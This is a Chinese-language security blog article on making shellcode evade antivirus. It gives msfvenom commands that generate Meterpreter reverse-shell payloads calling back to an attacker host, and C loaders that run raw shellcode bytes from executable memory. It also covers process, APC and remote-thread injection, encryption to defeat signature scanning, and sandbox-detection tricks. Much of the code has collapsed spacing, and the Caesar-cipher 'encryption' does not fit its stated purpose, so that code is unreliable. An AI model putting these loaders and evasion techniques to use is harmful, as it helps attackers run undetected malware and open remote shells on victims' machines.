Shellcode免杀思维分析
2023-2-15 12:30:30 Author: www.freebuf.com(查看原文) 阅读量:65 收藏

大家好!年关将过,我也进一步完善了我的免杀体系。所以新分享一些我学的新东西,虽然里面的技术可能不那么新鲜,但是我还是希望大家能耐心看完。好了,废话不说直入正题!

0X00 前言

什么是 Shellcode?答:Shellcode是一种恶意代码,它试图劫持计算机内存中正在运行的程序的正常流程。然后它会重定向流程,以便执行恶意代码,而不是正常程序,从而为攻击者提供 shell 或实际访问权限。这些通常是低级编程代码形式的信标或有效载荷或结合漏洞利用的机器代码。漏洞利用是成功利用漏洞的低级或本机代码片段。接下来我们一起来看一看,思维导图如下所示:

1675441779_63dd3673ced818efb91f2.png!small?1675441780676

0X01 shellcode的生成

众所周知Shellcode这种攻击手段的经常使用的,我可以简单分析Shellcode的执行过程(一共有四步)。它首先打开一个目标进程===>然后在该进程中分配一部分内存===>以将 shellcode有效负载写入分配的部分===>在从远程进程中创建一个新线程来执行Shellcode。因此,攻击者需要选择适当的利用后可执行文件类型在目标系统上执行,例如Win系统的.EXE或.DLL或者Linux的.ELF和Android 的.APK并首选内存开发技术以提高操作安全性。

与此同时,有一些重要的考虑因素和特征可以确保成功执行 Shellcode 并保持高操作安全性。所以shellcode代码存在如下特征:

  1. 拥有执行所需 shell 所需的所有指令,同时仍然相对较小。

  2. 在内存中“位置独立”——这一点至关重要,因为通常不可能事先知道它将加载到目标易受攻击进程的内存中的什么位置。

  3. 不包含任何可能导致潜在错误或导致整个过程崩溃的内容;例如,由于空字符 (0x00)。

  4. 能够使用一些注入技术(代码或反射注入)搭载一些现有的内存分配。

MSF生成shellcode命令

msfvenom -pwindows/x64/meterpreter/reverse_https LHOST=<ip/hostname> LPORT=443EXITFUNC=thread -fcsharp

CS框架执行命令

//确保你已经安装了VS
//打开PowerShell并进入一个为项目准备的文件夹,依次输入以下命令

>gitclonehttps://github.com/mai1zhi2/ShellCodeFramework

>cdShellCodeFramework

>devenvShellCodeFramework.sln/build"Debug|x64"/ProjectShellCodeFramework

>cd./x64/Debug

>.\ShellCodeFramework

被利用的漏洞通常涉及应用程序内存中的缓冲区溢出,攻击者在其中溢出分配的内存以重定向正常的程序流。成功的利用将导致执行有效负载,即恶意软件。在其最纯粹的形式中,Shellcode 将是常用于内存相关攻击的本机代码或汇编代码。下面的示例显示了C语言的shellcode编码:

1675441883_63dd36db14da9b9425716.png!small?1675441884407

1675441872_63dd36d0a05acf368f516.png!small?1675441873492

0X02 Shellcode的加载

WinAPI系统调用用于在堆中动态分配RWX内存,将shellcode移动到新分配的内存区域,并启动一个新的执行线程。

#include <Windows.h>
#include <stdio.h>
#pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"")
//windows控制台程序不出黑窗口
intmain()
{
charshellcode[] ="你的shellcode";
void*exec=VirtualAlloc(0, sizeofshellcode, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(exec, shellcode, sizeofshellcode);
((void(*)())exec)();
}

优点

  • 使用WinAPI调用是执行代码的标准方法,非常可靠。

  • 分配的内存区域不仅是可执行的,而且是可写和可读的,这允许在这个内存区域内修改shellcode,并对shellcode编码或加密。

缺点

WinAPI调用的使用很容易被成熟的AV/EDR系统检测到

基于指针加载

.data段 全局变量

#include <windows.h>
#include <stdio.h>

#pragma comment(linker, "/section:.data,RWE")
#pragma comment(linker,"/subsystem:\"windows\" /entry:\"mainCRTStartup\"")
#pragma comment(linker, "/INCREMENTAL:NO") 

unsigned char buf[] =
{ 0xfc, 0x48, 0x83, 0xe8, 0xc0, 0x0, 0x0, 0x0, 0x41, 0x51, 0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xd2, 0x65, 0x48, 0x8b, 0x52, 0x60, 0x48, 0x8b, 0x52, 0x18, 0x48, 0x8b, 0x52, 0x20, 0x48, 0x8b, 0x72, 0x50, 0x48, 0xf, 0xb7, 0x4a, 0x4a, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0, 0xac, 0x3c, 0x61, 0x7c, 0x2, 0x2c, 0x20, 0x41, 0xc1, 0xc9, 0xd, 0x41, 0x1, 0xc1, 0xe2, 0x41, 0x51, 0x48, 0x8b, 0x52, 0x20, 0x8b, 0x42, 0x3c, 0x48, 0x1, 0xd0, 0x8b, 0x80, 0x88, 0x0, 0x0, 0x0, 0x48, 0x85, 0xc0, 0x74, 0x67, 0x48, 0x1, 0xd0, 0x50, 0x8b, 0x48, 0x18, 0x44, 0x8b, 0x40, 0x20, 0x49, 0x1, 0xd0, 0xe3, 0x56, 0x48, 0xff, 0xc9, 0x41, 0x8b, 0x34, 0x88, 0x48, 0x1, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0, 0xac, 0x41, 0xc1, 0xc9, 0xd, 0x41, 0x1, 0xc1, 0x38, 0xe0, 0x75, 0xf1, 0x4c, 0x3, 0x4c, 0x24, 0x8, 0x45, 0x39, 0xd1, 0x75, 0xd8, 0x58, 0x44, 0x8b, 0x40, 0x24, 0x49, 0x1, 0xd0, 0x66, 0x41, 0x8b, 0xc, 0x48, 0x44, 0x8b, 0x40, 0x1c, 0x49, 0x1, 0xd0, 0x41, 0x8b, 0x4, 0x88, 0x48, 0x1, 0xd0, 0x41, 0x58, 0x41, 0x58, 0x5e, 0x59, 0x5a, 0x41, 0x58, 0x41, 0x59, 0x41, 0x5a, 0x48, 0x83, 0xec, 0x20, 0x41, 0x52, 0xff, 0xe0, 0x58, 0x41, 0x59, 0x5a, 0x48, 0x8b, 0x12, 0xe9, 0x57, 0xff, 0xff, 0xff, 0x5d, 0x48, 0xba, 0x1, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x48, 0x8d, 0x8d, 0x1, 0x1, 0x0, 0x0, 0x41, 0xba, 0x31, 0x8b, 0x6f, 0x87, 0xff, 0xd5, 0xbb, 0xf0, 0xb5, 0xa2, 0x56, 0x41, 0xba, 0xa6, 0x95, 0xbd, 0x9d, 0xff, 0xd5, 0x48, 0x83, 0xc4, 0x28, 0x3c, 0x6, 0x7c, 0xa, 0x80, 0xfb, 0xe0, 0x75, 0x5, 0xbb, 0x47, 0x13, 0x72, 0x6f, 0x6a, 0x0, 0x59, 0x41, 0x89, 0xda, 0xff, 0xd5, 0x63, 0x61 };

int main()

{
    ((void(*)()) &buf)();
    
}

1675442254_63dd384e9dfb56b96a856.png!small?1675442255596

text段 局部变量

#include "windows.h"
#include "stdafx.h"

using namespace std;
int main(int argc, char **argv)
{
    unsigned char buf[] =
{ 0xfc, 0x48, 0x83, 0xc0, 0x0, 0x0, 0x0, 0x41, 0x51, 0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xd2, 0x65, 0x48, 0x8b, 0x52, 0x60, 0x48, 0x8b, 0x52, 0x18, 0x48, 0x8b, 0x52, 0x20, 0x48, 0x8b, 0x72, 0x50, 0x48, 0xf, 0xb7, 0x4a, 0x4a, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0, 0xac, 0x3c, 0x61, 0x7c, 0x2, 0x2c, 0x20, 0x41, 0xc1, 0xc9, 0xd, 0x41, 0x1, 0xc1, 0x51, 0x48, 0x8b, 0x52, 0x20, 0x8b, 0x42, 0x3c, 0x48, 0x1, 0xd0, 0x8b, 0x80, 0x88, 0x0, 0x0, 0x0, 0x48, 0x85, 0xc0, 0x74, 0x67, 0x48, 0x1, 0xd0, 0x50, 0x8b, 0x48, 0x18, 0x44, 0x8b, 0x40, 0x20, 0x49, 0x1, 0xd0, 0xe3, 0x56, 0x48, 0xff, 0xc9, 0x41, 0x8b, 0x34, 0x88, 0x48, 0x1, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0, 0xac, 0x41, 0xc1, 0xc9, 0xd, 0x41, 0x1, 0xc1, 0x38, 0xe0, 0x75, 0xf1, 0x4c, 0x3, 0x4c, 0x24, 0x8, 0x45, 0x39, 0xd1, 0x75, 0xd8, 0x58, 0x44, 0x8b, 0x40, 0x24, 0x49, 0x1, 0xd0, 0x66, 0x41, 0x8b, 0xc, 0x48, 0x44, 0x8b, 0x40, 0x1c, 0x49, 0x1, 0xd0, 0x41, 0x8b, 0x4, 0x88, 0x48, 0x1, 0xd0, 0x41, 0x58, 0x41, 0x58, 0x5e, 0x59, 0x5a, 0x41, 0x58, 0x41, 0x59, 0x41, 0x5a, 0x48, 0x83, 0xec, 0x20, 0x41, 0x52, 0xff, 0xe0, 0x58, 0x41, 0x59, 0x5a, 0x48, 0x8b, 0x12, 0xe9, 0x57, 0xff, 0xff, 0xff, 0x5d, 0x48, 0xba, 0x1, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x48, 0x8d, 0x8d, 0x1, 0x1, 0x0, 0x0, 0x41, 0xba, 0x31, 0x8b, 0x6f, 0x87, 0xff, 0xd5, 0xbb, 0xf0, 0xb5, 0xa2, 0x56, 0x41, 0xba, 0xa6, 0x95, 0xbd, 0x9d, 0xff, 0xd5, 0x48, 0x83, 0xc4, 0x28, 0x3c, 0x6, 0x7c, 0xa, 0x80, 0xfb, 0xe0, 0x75, 0x5, 0xbb, 0x47, 0x13, 0x72, 0x6f, 0x6a, 0x0, 0x59, 0x41, 0x89, 0xda, 0xff, 0xd5 };
    void *exec = VirtualAlloc(0, sizeof buf, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    memcpy(exec, buf, sizeof buf);
    ((void(*)())exec)();
    return 0;
}

1675442263_63dd3857d767f64641d06.png!small?1675442264894

小提示:如果你尝试在新的Linux 系统(内核 >5.4)上运行代码变量为全局变量的Shellcode的时候,你会发现程序在执行Shellcode时会返回分段错误。这种情况下的解决方案很简单。代码变量应该从全局变量移动到局部变量。为什么会这样?

答:程序中的不同段以及变量的存储位置。我们可以探索Execstack的作用以及5.4版本之前和5.4版本之后的内核如何解释Shellcode的区别。

基于进程注入

  1. 制作一个恶意DLL(手工免杀方法打造,不会被杀出来)
  2. 通过进程注入的方式,将这个恶意DLL注入到已运行的进程中去
  3. 在进程中编写一个回调函数,一运行就直接执行恶意代码
  4. 将这个恶意DLL直接绑定于我们的注入程序的资源段,封装成一个表面纯良无害的EXE可执行文件

APC注入

它可以让目标线程运行Shellcode。这么做有个前提条件:目标线程是alertable的,否则注入了也不会立即被执行,直到状态改为alertable,但笔者暂时没找到能把目标线程状态主动改为alertable的办法,所以只能被动等待。

远程线程注入

此特定示例使用通过反射加载程序注入内存的Windows 动态链接库(DLL)。shellcode 以字母数字形式生成。一旦成功执行,它可以通过从 Metasploit 框架生成的反向 DNS TCP 会话连接回攻击者。传递机制的选择、漏洞利用的类型和易受攻击的目标系统都将决定与攻击相关的信标或有效负载的选择。该漏洞用于在获得对底层操作系统的访问权限之前利用易受攻击的应用程序。在这种情况下,可以使用相应应用程序的特定代码(例如,用于Web服务器前端应用程序的 PHP或ASP)。

基于回调函数执行

攻击者可以通过Microsoft Windows回调执行Shellcode攻击,它被广泛用于注入Shellcode正在运行的进程当中。微软的说法是:回调函数是托管应用程序中的代码,可帮助非托管 DLL 函数完成任务。对回调函数的调用间接地从托管应用程序通过 DLL 函数传递回托管实现。即,系统将Shellcode当做回调函数运行MonitorEnumProc。系统运行了注入的Shellcode后,IP(指令指针)将获得一个超出界限的值,最终将导致异常。但是在异常上升之前,Shellcode 已经被系统执行了。比如 C 甚至 C++ 中,当你想创建回调时,你需要向父函数提供一个指向所需内存空间的指针,回调函数所在的位置,所以我们需要准备这样的执行前的内存空间。

基于汇编加载

#include <windows.h>
#include <stdio.h>
#pragma comment(linker, "/section:.data,RWE")
#pragma comment(linker, "/subsystem:\"Windows\" /entry:\"mainCRTStartup\"")
//windows控制台程序不出黑窗口
unsignedcharshellcode[] ="你的shellcode";
voidmain()
{
__asm
{
moveax, offsetshellcode
jmpeax
}
}

0X03 shellcode的传递

运行时检测真的很难糊弄,因为归根结底,你必须执行代码。一旦你这样做了,防病毒软件就会记录你的一举一动,然后最终确定你是恶意软件。但是,如果您可以将加载程序与不同进程空间中的实际有效负载分开,这似乎不是什么问题。这是我在尝试执行解密的有效负载时注意到的行为。首先,攻击者能够完美地解密他的Shellcode,那么恶意Shellcode仍然在内存中,但是当攻击者试图从这样的函数指针执行它时,杀软就会抓住恶意代码:

int(*func)();
func=(int(*)()) shellcode;
(int)(*func)();

但是,如果我删除了最后一行,那么杀软就可以正常运行该程序,就表明最后一行被标记,

(int)(*func)();

这似乎暗示,只要不执行最后一行的代码,前的代码在内存中通常是可以执行的。我们知道AV运行时会分析实际执行的代码。但是,它不太关心程序可会做什么。如果关心的话,效率损失损失就太高了。因此,并没有使用函数指针,而是使用Loader来解决加载程序的问题。详细情况,可以参考0X02 Shellcode的加载中的代码。

#include <iostream>
#include <Windows.h>

intmain(void) {
HMODULEhMod=LoadLibrary("shellcode.dll");
if(hMod==nullptr) {
cout<<"Failed to load shellcode.dll"<<endl;
}

return0;
}

0X04 shellcode的编码

众所周知Stager beacon.dl 反射DLL下载到内存当中去执行windows Defender能检测到触发内存扫描,会有如下后果:

1、运行之后,立马报毒(静态免杀失败)

2、上线了,执行命令,报毒(动态免杀失败)

小提示:所以建议使用Stageless模式,避免下载动作被杀软识别!!

依靠XOR搭配其他加密方式混淆

原始的MSF的Shellcode被杀软供应商大量指纹识别。签名定义由杀软供应商定期更新,我们的可移植可执行 (PE) 文件被许多杀软供应商检测到也就不足为奇了。基于签名的检测的问题在于它只能防御已知病毒。我们可以通过编码加密原始Shellcode并将其与解码/解密例程一起放在我们最终的PE文件中来绕过它。我们可以通过使用XOR对默认的MSF的Shellcode进行编码来改进我们的原始有效载荷。此外,还可以使用 DES/AES等其他方法。在这里,我们将使用凯撒密码进行编码。

s=input('请输入要加密的字符串:')
k=int(input('请输入移位值:'))
s_encrypt=''
forwordins:
ifword==' ':
word_encrypt=' '
else:
word_encrypt=chr((ord(word)-ord('a') +k) %26+ord('a'))
s_encrypt+=word_encrypt
print(s_encrypt)

s=input('请输入要解密的字符串:')
k=int(input('请输入移位值:'))
s_decrypt=''
forwordins:
ifword==' ':
word_decrypt=' '
else:
word_decrypt=chr((ord(word)-ord('a') -k) %26+ord('a'))
s_decrypt+=word_decrypt
print(s_decrypt)

如果您熟悉Metasploit,就会知道有一种名为编码器的模块类型。编码器的目的实际上是绕过漏洞利用中的不良字符。例如,如果您正在利用缓冲区溢出,您的长字符串(包括有效负载)很可能不能包含空字符。我们可以使用编码器来更改该空字节,然后在运行时将其改回。因为,编码器根本不可能完全有效的规避杀软。所以你应该使用加密,来进行支撑。加密是可以有效击防止杀软的静态扫描的,原因是 杀软引擎无法立即破解它。目前,msfvenom 支持几种加密/编码类型来保护您的 shellcode:AES256-CBC、RC4、XOR 和 Base64。

也可以使用MSF生成加密的Shellcode(如下所示):

ruby ./msfvenom -pwindows/meterpreter/reverse_tcp LHOST=127.0.0.1 --encryptrc4 --encrypt-keythisisakey -fc

小提示:虽然杀对静态扫描加密的Shellcode识别几率较低,但是恶意代码运行后内存/行为的监控仍然逃避不掉的。加密混淆的方法在执行解密后很容易被杀软识别。

通过在shellcode前添加字符绕过Defender

我们可能会遇见自动截断或者Shellcode的hash值对比,这个时候我们需要通过添加字符/替换敏感函数进行绕过,通过添加字符去迷惑杀软,达到欺骗杀软的目的。1675442521_63dd3959ad0b3b040abb7.png!small?1675442522555

沙盒规避

未知应用程序在允许本机执行之前在虚拟沙箱环境中执行。虚拟化沙箱试图模仿本机操作系统,但它并不完美。具体来说,一些很少使用的 win32 API 没有在沙箱内正确模拟,或者与在本机 Windows 上运行的 API 相比,在沙箱内返回不同的值。

沙盒检测/规避的其他一些方法如下:

验证 PE 文件名:沙盒环境可能会更改 EXE 文件名。

验证机器主机名:沙盒环境可能会更改我们的主机名。

向不存在的域发送 Web 请求:即使域不存在,沙盒环境也可以使用 200 OK 响应代码模拟此请求。

调用睡眠函数:沙盒环境可以通过睡眠调用快进。

0X05 总结

由于最近复习备考,所以较为懒散,难免拖拖拉拉。最后我的总结就到此为止啦,希望对大家以后的学习和工作有所帮助。同时,欢迎大家指出不足。


文章来源: https://www.freebuf.com/articles/web/356582.html
如有侵权请联系:admin#unsafe.sh